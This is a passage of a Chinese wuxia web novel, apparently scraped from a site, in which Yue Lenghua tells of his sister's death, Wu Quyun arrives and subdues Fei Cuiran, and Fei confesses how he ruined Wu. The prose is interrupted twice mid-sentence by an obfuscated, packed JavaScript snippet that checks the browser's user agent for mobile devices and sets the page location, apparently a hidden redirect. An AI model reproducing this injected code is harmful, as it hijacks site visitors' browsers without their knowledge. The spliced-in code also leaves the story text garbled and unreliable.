月冷花将多年来压在心底的仇恨,一股脑吐出。 姐姐死的时候,他是个小孩,正待在暗无天日的训练场,学杀人。 老师把他单独叫出去,同伴投来羡慕的眼光,他也高兴,以为姐姐来看望他了。 哪怕生长在血腥恐怖的罗刹堂,孩子们也总渴望见到亲人。 老师面无表情的脸上,罕见露出一丝怜悯,告诉他,他姐姐死了,他被放生了,可以去一个春暖花开的地方过日子,会有人照顾他,给他钱,等时机到了,甚至能摆脱生死符的控制。 他怔在原地,他是世上最懂死亡的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17583161|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那批孩子之一,却问了一句愚蠢的话,什么叫姐姐死了,我以后去哪见姐姐啊? 老师微微一怔,回答他,月桃花埋进土地了,这就是死了,再想见她,去坟头墓碑上。 他哭了。 记忆里的姐姐,不是在外出杀人,就是躺在屋里养伤,陪他的时间不多,但她是唯一一个陪他聊天,替他梳头,偶尔给他讲故事的人。 姐姐想什么,他不太清楚,姐姐死前,爱谁恨谁,他也模棱两可。 直到,他爱上了一个女子,才算明白姐姐的痛。 爱上一个自己必须亲手毁掉的人,简直是把心掏出来扔地上踩。 他幸运,有的选,放弃了杀风无霜的任务。 姐姐没的选,将错就错,害了乌去云,自刎了断。 罗刹堂与辰氏,消耗掉了月桃花的生命,斐翠然却毁掉了她的心。 “……原来如此。”斐翠然眯眼,似在思索,“你这个白眼狼原来是这么想的呢。” 一抹黑气闪电般射出,在场三人,北羽反应最快,及时拉开莫淮,沉浸在过去,分了神的月冷花躲得最慢。 咔嚓。 清脆的骨裂声。 月冷花右臂弯折撕裂,长剑脱手,哐当落地,斐翠然捏着他的断臂,五指深深嵌进血肉里,月冷花一声嘶吼,断臂处血如泉涌。 北羽见状,一剑再次刺入斐翠然心脏,这个老贼自愈得太快了。 斐翠然看都不看她,直直盯着月冷花,“以为我受了重伤,就动不了你?狗东西,你算个屁。我和死人的恩怨,轮不到你插手。” 月冷花咬着牙,额头冷汗涔涔,硬是没再叫出声,目光里没有恐惧,只有恨意,伸出左手去够剑,看模样要拼到底。 局势一变再变,旁观的北羽感觉一股闷气堵在胸口。 她和师父才是最无辜的行吧! 她师父本来能白日飞升,离开镜悬,当个逍遥剑仙,只是眼瞎和斐翠然交了个朋友,就被这条疯狗来回咬,死了亲人、爱人,困在镜悬大陆。 她则更惨,什么也没做,就被辰氏种了个劳什子蛊。 北羽多想吐口血晕过去,最初,她只想找到月冷花,解开师父心结,谁知道,折腾一番,苦难落自己身上了。 看着地上浑身是血的斐翠然、月冷花,北羽想骂,却一个字也骂不出来。 莫淮忍不住夺过月冷花的剑,抵在他颈侧,吟风剑则架在斐翠然脖子上。 “北羽,都杀了吧,权当解气。” “……随便。” “哈哈哈!哈哈!”死到临头,斐翠然居然笑了起来,笑声断断续续,像破麻袋漏气,月冷花依旧是愤恨的神情。 就在这时,一阵风拂过。 寒冬腊月,那风却不冷不热,十分温和,带着淡淡的草木气息,像是深山里清晨的气息。 所有人都察觉到了异样。 斐翠然忽然安静,像被什么东西压住,笑声缩了回去。 他微微睁大眼,嘴唇发抖,嘲讽癫狂的神态,瞬间变成了一种说不清道不明的模样,目不转睛地凝视北羽身后某个方向。 一道人影牵着马,从树林的阴影中踏步而出。 他身姿颀长,一袭白衫,头发只用一根桃木簪随意束着,面容清瘦,眉目间有一种说不出的愁意,像是个在山中住了很久,很久不曾与世人打交道的人。 北羽愣了下,随即眼眶一热,喉咙发堵。 “师父……” 52. 卷二·南境演武 乌去云走到北羽面前,没说话,伸手在她肩膀轻轻按了一下。 “受伤了吗?” “没有。” “曲忆!”斐翠然高声喊道,他想站起来,手撑在地上抖了又抖,终于还是没能撑起,只能仰头望着乌去云。 “你来了。”他的嗓音带着一种奇怪的欣喜,“你终于来了。” 乌去云看向地上那个浑身是血、狼狈不堪的人,蹲下身,伸出右手。 斐翠然的眼睛亮了,嘴唇翕动,似乎想说什么。 乌去云一掌拍在他后颈,干净利落,力道恰到好处,斐翠然身体一软,眸光涣散,脑袋歪倒在地,彻底昏了过去。 四周顿时安静了。 北羽张了张嘴,又闭上,静静看着乌去云扶起月冷花。 月冷花靠着树干,断臂处血肉模糊,脸色惨白却一声不吭,乌去云抬手封住他的穴道,止住了血,又渡了道真气。 感到伤势减轻,月冷花道:“你就是乌去云啊,也没什么特别的,我姐怎就喜欢上你了。” “……这要问她。” 乌去云退回北羽身旁,问道:“怎么哭了?” 北羽低头,不知从何说起,今天发生了太多事,乱七八糟的。 “乌去云!”月冷花质问道,“我姐姐月桃花,她到死都念着你,这么多年,为什么不替她报仇?为什么!” “你明明有这个本事,为什么不杀了斐翠然,还有黑水狱里的辰骸罂!” 风吹过林间,枯叶沙沙。 乌去云沉默了很久,久到北羽以为他不会回答了。 “杀人容易。”乌去云的声音很低,像是在对自己说话,“但杀了斐翠然,杀光辰氏的人,桃花她就能复活吗?” 月冷花愣住。 乌去云眺望远处灰蒙蒙的天际线,目光空茫。 北羽站在一边,瞧着师父的侧脸,头一回发觉他的苍老,不是面容上的苍老,而是一种从骨子里透出来的疲惫。 “呵。” 月冷花嗤笑道,“所谓的剑仙,曾经的天下第一,就用这一句话来解释自己失去挚爱亲人后的无所作为,无动于衷。” “多可笑啊。” 月冷花强撑着站起来,对莫淮道:“把剑还我。” 莫淮看向北羽,北羽撇撇嘴,莫淮将剑丢给月冷花。 月冷花一剑砍向斐翠然的脖子,只是,剑抵在皮肤表面,如何也压不下去。 “够了。”乌去云道,“他死了,你会被东海魔教追杀,必死无疑。” “无论南境皇宫夜战的结果怎样,你已经为你和桃花,向辰氏复了仇,也借斐翠然的手,灭了大半仇家,你该走了,去你想去的地方。” 月冷花喉间一哽,不自觉慢下呼吸,“你从哪知道我有想去的地方。” “百晓生说的,你有个喜欢的女子,你不顾一切向辰氏复仇,设计斐翠然,是想了结仇怨,跟她在一起。”乌去云平静道,放开了牵马的缰绳。 马儿轻哼,有灵性般靠近月冷花,拱了拱他。 “天枢城离南境很远,路途漫长,启程吧,毕竟,你总归要再见那个女子一面。” 北羽神情微妙,天枢城的女子,难道是风无霜?若真是她,那月冷花痴情错付了,罗刹堂刺杀天心帝的计划,可是风无霜泄漏的。 月冷花垂首,沉思良久,最终拿起断臂,跨上马背,朝北羽道:“抱歉了。” 北羽别过头。 十年前拿她换生死符解药的时候,不抱歉,今日抱歉,有何用。 再给他一次机会,照样对她毫不手软。 寒风凛冽,白马载着月冷花走了,这位失去右手,重伤未愈的北境第一杀手,踏上了他的终途。 北羽拽了拽乌去云的衣角,“师父,我完蛋了。斐翠然说,辰氏在我六岁那年,给我种了生死符。” “不可能。”乌去云脸色大变,拉起她的手,“那次把你救出来之后,我为你诊断过身体,找了很多医师,也找过蛊师为你号脉,他们说你只是喝了无痕汤。” “我认识中过生死符的人,这种蛊毒每半年发作一回,需要服用蛊药压制,但你从来没有发作过,也没有吃过什么药。” 听他这么说,北羽燃起希望,万一是斐翠然骗她呢,斐翠然多么狡猾的一个人,什么谎话讲不出来。 可是……老贼言之凿凿,不像骗人,月冷花也是一样的说辞。 北羽不禁急忙追问:“师父,你知道这味蛊怎么解吗?” 乌去云皱眉,“解它很复杂……” “那师父你知道啦!”北羽双眼放光。 “我要找个人,再给你查一遍身体,若你体内真有生死符,我会找到解蛊之术。”乌去云道。 北羽又急了,这可是生死攸关的大事,“师父,解蛊几成把握?” 乌去云:“北羽,别慌,我认识两个人,亲眼见过他们解蛊,生死符绝对能解开的。” “哪两个人!” “很久以前认识的了,我……需要时间联络他们。” 北羽害怕了,“师父,你千万别是编谎话安慰我。”她才十七岁,还没活够呢。 “当师父的绝不会骗徒弟。”乌去云摸了摸她的脑袋。 二人身后的莫淮闻言松了口气,北羽有救就好。 “师父,我还有话问斐翠然。” “你问,我去寻医师。” 乌去云显然不想跟斐翠然再有任何交集,连看几眼,都不愿。讨厌一个人,是这样的吗?北羽有点不明白。 莫淮弄了些葬青湖的冰水,泼醒了斐翠然,他醒来第一件事便是找乌去云。 “看什么看,师父他走了。”北羽用残仙剑抽他的腿,“喂,你方才说,辰氏除了给我种生死符,还拿走我一块肉,他们拿我的肉做甚?咒我吗?” 斐翠然闭上眼。 “说话!”北羽拔剑,“信不信我宰了你。” “杀了我,就是得罪整个东海魔教,北羽,你承担不起的。” 北羽冷笑,“那咱们试试,黄泉路上,你走慢点,看看我会不会下去跟你一起走。” 斐翠然摇摇头,“这话威胁不到我。” “我可以考虑告诉你辰氏的目的,不过,前提是你听我说完我的事,把我说的话转告你师父。” 北羽:“我师父厌恶你,你看不出来?” “他那是逃避。”斐翠然唇角勾起一抹笑,“北羽,我比你了解他。” “切!” 北羽拉着莫淮坐下,小声道:“时刻盯着他,他敢整幺蛾子,你就刺他心脏。” “嗯。”莫淮郑重点头。 北羽对斐翠然翻了个白眼,“有话快讲。” 她倒要听听,斐翠然的狗嘴里能吐出什么玩意。 “对不起。这是我要你捎给乌去云的第一句话。”斐翠然苦笑道,“真心实意的对不起。” 作恶多端的人,何时意识到自己的恶? 从开始承担孽果起。 “也许,你不信,乌去云也不信,我是真心后悔。” “东海是个凭实力过日子的地方,我却生得弱小,虽入魔教,却是谁都能踩一脚的存在。十二岁那年,教内把连同我在内的三十个教徒,送到蛊林,做试蛊奴。” “说白了,魔教抛弃了我们。” “一入蛊林,如坠炼狱。每一天,我都在忍受极大的痛苦,眼睁睁看着那些怪模怪样的虫子,钻进肉里喝血,幸好,我命不该绝,撞上蛊林内乱,从一个死了的大蛊师身上,扒到了神魔策这本秘籍。” 多好的一本书,多强大的一门秘法,自从学了它,呼吸都在变强。 斐翠然至今忘不了那段愉悦时光,他回了魔教,把欺凌过他的人全杀了,成为了魔教的护法,即便辰氏压在头上,也享受到了强者的快乐。 “当时,我以为再过两年,便可天下无敌,问鼎镜悬第一,谁曾想,乌去云下山了。” “他先赢了学宫试剑大会,后又在无极大会击败了所有对手。我与他相遇在东海青湖,他轻松赢了我,我震惊于世间还有比神魔策更强的秘籍,非常想学太上忘情剑法。” “我追在乌去云屁股后面一年,我从来没有与一个人相处那么久,奇怪的是,我还不讨厌这个人,甚至……把他当朋友。” 讲到这里,斐翠然的笑容,令北羽熟悉,人讲起自己的好友,差不多都是这个笑。 师父和斐老贼,从前竟然真是好朋友,北羽一直坚信是老贼伪装太好,蒙了涉世未深的师父。 斐翠然:“乌去云其实有点傻,我让他把太上忘情剑法给我看,他就真给我看了,换做是我,绝不会拿神魔策给旁人看的。” “领悟太上忘情剑法的奥妙后,我忮忌死乌去云了,凭什么他真的能成仙,白日飞升,离开镜悬,凭什么啊,凭什么我不能,而他能。” “同样是少年成名,他被关在圣剑山十八年就修成仙剑术,入得逍遥游境界,睥睨天下。我苦苦挣扎十三年,受尽折磨屈辱,刚刚摸到他脚底的境界。” “气死人了,人比人,实在无法比。” 斐翠然把手插进地里,狠狠攥起一把土,看着泥土从指缝落下,留下脏污的痕迹。 “于是,我向辰氏的族长,被废掉武功,关进黑水狱的辰骸罂进言,用生死符控制这位仙骨,让天下第一变成天下大笑话。” 北羽努力忍住愤怒。 “辰骸罂说,一旦入逍遥游境界便不同于凡人,无法种蛊,除非乌去云跌境,否则谁也奈何不了他。我就说,这件事我来做。” “太上忘情,最忌讳的就是受情伤。我见了一波又一波的女人,都没找到合适的。失望之时,我在罗刹堂偶然见到了月桃花。” 斐翠然顿了一下,他接下来想说的那句话,正是月冷花提过的那句话。 见月桃花的第一眼,他就肯定乌去云会喜欢她,但是为什么呢,他也说不清。 “我和月桃花的交易,月冷花都说完了。总之,圣剑山婚堂,月桃花自刎,你师祖也气死了,乌去云一连失去最爱的女人和唯一称得上亲人的师父,难以承受此痛,轰然跌境。” “我的目的达到了,辰骸罂却没有成功,乌去云险些杀了他。不过,我不在乎,反正乌去云无法飞升了,跟我一样,得呆在镜悬一辈子,到老,到死。” 北羽忍不住,扇了斐翠然一耳光,“你想我把你伤害师父的前因后果,再给他讲一遍?!你找死!” 莫淮按 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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北羽大感无语,江湖上流传许久的,斐翠然去北境找雪颂剑圣比剑,返程受伤,原来是偷生死符解药不成,被辰氏追杀。 斐老贼固然恶心,但那时若偷到解药,于她而言是好事。 这都什么事,斐老贼害了她,又忙活救她,甚至于他今天还想融掉她的蛊毒。 斐翠然厚脸皮道:“所以,我为了给你师父道歉,命豁出去不止一次,你要把这件事,原封不动告诉乌去云,加上我是运功替你祛蛊,才不慎中了白眼狼月冷花的暗算。” 死变态,北羽暗骂道。 “行了,我记住了。快告诉我,辰氏拿我的肉干了什么坏事。” 斐翠然:“再等等,我还有个东西,给你。” 他的手伸进衣袖,莫淮立即拉北羽后退,他拿出一支短小的玉笛,放到嘴边,吹了起来。 笛声悠悠,谈不上好听或难听,调子很平缓,像一声又一声的叹息。 北羽不知他葫芦里卖的什么药,始终警惕,直到斐翠然吹完这首曲子,将玉笛递过来,莫淮接过笛子,确定只是个普通笛子,才给她。 玉笛最下面,刻了一朵小桃花。 北羽诧异道:“这是我师娘的东西吗?” 斐翠然:“对,月桃花的笛子,把它给你师父,他会高兴的。” “……行。现在可以回答我的问题了吗。” 斐翠然点点头,轻轻一笑,“辰氏拿走你的肉,是为了……” 他故意拖了个长腔,北羽脸抽了一下,“为了什么。” “为了干坏事呗,只有辰骸罂和他真正的亲信才知道的坏事,辰骸罂根本不信任我,当年仪式进行到一半,我就被赶出去了。”斐翠然再次展露他的恶,“我就是想骗你听完我的话。” 一股火气直冲北羽天灵盖。 “你耍我?” 她抬手又要扇,斐翠然也不躲,就那么歪着头,嘴角挂着讨打的笑,活像个滚刀肉。 什么高手,什么教主的架子都丢开了,斐翠然的本性就是喜欢惹恼别人,伤害别人,戏耍别人。 这个人也许早就疯了,一直是个疯子。 沉默大半天的莫淮,突然开口道:“我们的功法相似,既然你可以用内力给北羽祛蛊,我行吗?” 北羽:“咦,对哦,老贼,这样可行吗?” 斐翠然皱了皱眉,“你是什么人?” “他是我好朋友,叫莫淮。” “姓莫的,修神魔策多久了?” 莫淮:“祛蛊跟修习时间有关?” 斐翠然:“功力不到家,自然敌不过生死符之蛊毒。这个方法很危险,刚入羽化境的人来办,怕是内力不够,稍有不慎,损人害己。” “再多一个人呢?”莫淮问。 斐翠然马上就明白他在说谁,“李传芳?那小子学的天魔变,威力比神魔策弱三层,加上他只是多个累赘。” 那就是没办法了,北羽抿唇。 斐翠然:“你们走吧。该说的我说完了,北羽,你的生死终究看天意。多跑几个庙上上香,试试感动老天吧。” “不过,你还有乌去云,想来,乌去云哪怕不要命,也会帮你解蛊的。”